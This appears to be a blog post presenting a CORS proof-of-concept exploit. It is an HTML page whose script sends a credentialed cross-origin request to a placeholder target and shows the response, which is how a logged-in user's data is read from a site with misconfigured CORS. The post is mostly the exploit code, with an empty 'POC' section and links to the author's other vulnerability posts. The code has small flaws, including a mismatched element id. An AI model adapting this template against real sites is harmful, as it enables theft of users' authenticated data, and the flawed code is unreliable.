Exploiting CORS (Cross Origin Resource Sharing)

Exploiting CORS (Cross Origin Resource Sharing)

Exploit Code-

<!DOCTYPE html>

<html>

   <head>

      <script>

         function cors() {

            var xhttp = new XMLHttpRequest();

                xhttp.onreadystatechange = function() {

                    if (this.readyState == 4 && this.status == 200) {

                        document.getElementById("emo").innerHTML = alert(this.responseText);

            }

         };

         xhttp.open("GET", "https://target.com/info/", true);

         xhttp.withCredentials = true;

         xhttp.send();

         }

      </script>

   </head>

   <body>

      <center>

      <h2>CORS PoC Exploit </h2>

      <h3>created by <a href="https://neetech18.blogspot.com/">CORS Team</a></h3>

      <h3>Show full content of page</h3>

      <div id="demo">

         <button type="button" onclick="cors()">Exploit</button>

      </div>

   </body>

</html>

POC-



Comments

Popular posts from this blog

Polaris’ Intellect Core Banking Software Version 9.7.1- Open Redirect [CVE-2018-14931]

Stored XSS Vulnerability in Hot Scripts Clone:Script Classified Version 3.1-[CVE-2018-7650]

Stored XSS Vulnerability in Bookme Control Panel 2.0-[CVE-2018-8737]